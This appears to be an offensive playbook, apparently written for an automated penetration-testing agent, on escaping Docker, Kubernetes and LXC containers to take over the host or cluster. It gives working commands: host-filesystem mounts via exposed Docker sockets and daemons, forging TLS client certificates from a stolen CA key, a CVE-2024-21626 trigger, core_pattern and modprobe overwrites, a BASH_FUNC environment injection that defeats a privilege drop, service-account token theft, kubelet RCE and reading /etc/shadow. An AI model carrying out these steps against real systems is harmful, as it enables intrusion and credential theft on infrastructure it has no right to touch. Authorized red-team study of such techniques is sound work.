Container Technique

container-technique

Goal: Exploit container environments (Docker, Kubernetes, LXC) to achieve host-level code execution, horizontal pod movement, or cluster takeover.

When this technique applies

• You have gained a shell via Web RCE or SSH and notice .dockerenv, kubepods in cgroups, or specific mount patterns.
• You have acquired compromised Kubeconfigs or Service Account tokens.

The Escape Workflow

1. Internal Reconnaissance

Determine the isolation boundaries.

• Am I in a container?: ls -la /.dockerenv ; cat /proc/1/cgroup
• What privileges do I have?: capsh --print (look for CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_PTRACE).
• Network mapping: Look for kube-dns or metadata endpoints (e.g. 169.254.169.254 or GCP/Azure equivalents).

2. Hunting for Escape Vectors

• Exposed Docker Socket: ls -la /var/run/docker.sock. If writable (or you are in the docker group), attach the host root filesystem to a new container — with the CLI or the REST API via curl --unix-socket when no docker binary is present. Full flows + host bind-mount abuse: references/socket-and-mounts.md.
• Excessive capability (not full --privileged): capsh --print shows a single dangerous cap (CAP_SYS_MODULE, CAP_DAC_READ_SEARCH, CAP_SYS_PTRACE, CAP_MKNOD…). Each has its own escape — see references/capability-escapes.md.
• Docker daemon over TCP (2375 plain / 2376 TLS): ss -tlnp | grep -E '2375|2376' or read dockerd -H args in ps. Plain 2375 = instant docker -H tcp://host:2375 run -v /:/mnt .... TLS 2376 needs a client cert signed by the daemon CA — hunt the CA key (ca.pem+ca-key.pem, often in /etc/docker/certs, an NFS/world-readable share, or a config repo) and forge one:

  openssl genrsa -out c-key.pem 4096; openssl req -new -key c-key.pem -subj /CN=root -out c.csr
  printf 'extendedKeyUsage=clientAuth\n' > e.cnf
  openssl x509 -req -in c.csr -CA ca.pem -CAkey ca-key.pem -out c.pem -days 365 -extfile e.cnf
  docker --tlsverify --tlscacert=ca.pem --tlscert=c.pem --tlskey=c-key.pem -H host:2376 run --rm -v /:/mnt <img> cat /mnt/etc/shadow
  

  If an authorization plugin (--authorization-plugin=authz-broker) denies actions, it keys policy on the client-cert CN — read the policy (/var/lib/authz-broker/policy.json) and set -subj /CN=<allowed-user> (a {"users":["root"],"actions":[""]} entry = full access). Then run -v /:/mnt to read host secrets / a machine keytab / drop an authorized_key.
• Leaky Vessels (CVE-2024-21626): runc <=1.1.11 / Docker <25.0.2 / containerd <1.6.28 / <1.7.13. If you can spawn a container (docker socket, k8s exec, buildx), the trigger is docker run -w /proc/self/fd/8 <img> — the working directory is set before namespace unshare, giving host FS access. Confirm host runc version via strings $(command -v runc) | grep -m1 'runc version' if reachable, otherwise attempt directly.
• Privileged Container: If fdisk -l lists host drives or capsh shows CAP_SYS_ADMIN, mount the host filesystem (e.g., mount /dev/sda1 /mnt) or load a malicious kernel module.
• Cgroups Release Agent: If CAP_SYS_ADMIN is present on cgroups v1, leverage the release_agent feature to spawn host processes.
• core_pattern / modprobe_path: Overwrite /proc/sys/kernel/core_pattern (pipe format) or /proc/sys/kernel/modprobe to make the kernel run an attacker script as root on the host. Works on cgroups v1 and v2. Trigger via SIGSEGV crash or unknown-magic binary execution. Use overlay upperdir from /proc/self/mountinfo for host-accessible read/write path.
• Entrypoint UID-drop bypass: If the image entrypoint checks $(id -u) to decide whether to drop privileges via gosu/su-exec, and /bin/sh is bash, inject BASH_FUNC_id%%=() { echo uid=1000; } as an environment variable. Bash imports it as a function overriding /usr/bin/id, so the check sees non-root and skips the privilege drop. Container stays as real uid 0.

3. Kubernetes Specifics

• Service Account Tokens: Located at /var/run/secrets/kubernetes.io/serviceaccount/.
• API Server Recon: Use curl -skH "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/default/pods/
• Kubelet / ETCD Unauthenticated Ports: Check if ports 10250 (kubelet), 10255 (kubelet readonly, disabled by default since 1.21 but still common on legacy/GKE), or 2379 (etcd) are exposed internally without authentication. On 10250 the endpoint POST /run/<ns>/<pod>/<container> yields RCE inside any pod.
• RBAC nodes/proxy GET → RCE: A service account with nodes/proxy GET (frequently granted to monitoring/observability tooling) can proxy the kubelet API and exec into arbitrary pods cluster-wide, including control-plane. Test with kubectl auth can-i get nodes/proxy before deeper enum.

Quality Gates

• Do not break the pod: Kernel module injection and heavy cgroup manipulation can crash the container host. Perform checks first.
• Proof of Action: Once you escape, immediately collect evidence of reaching the underlying host (e.g., cat /etc/shadow from the host mount) rather than deploying destructive backdoors.

References

• references/privileged-escapes.md — Load when dealing with a container running with --privileged or CAP_SYS_ADMIN (mount host disk, cgroups release_agent, core_pattern/modprobe_path).
• references/capability-escapes.md — Load for a single excessive capability without full privileged: capability→vector triage table, CAP_SYS_MODULE, CAP_DAC_READ_SEARCH/CAP_DAC_OVERRIDE (shocker), CAP_SYS_PTRACE (+--pid=host), CAP_MKNOD.
• references/socket-and-mounts.md — Load when the Docker socket is reachable (CLI or curl REST API), the user is in the docker group, or sensitive host paths are bind-mounted (-v /:/host, /etc, /root).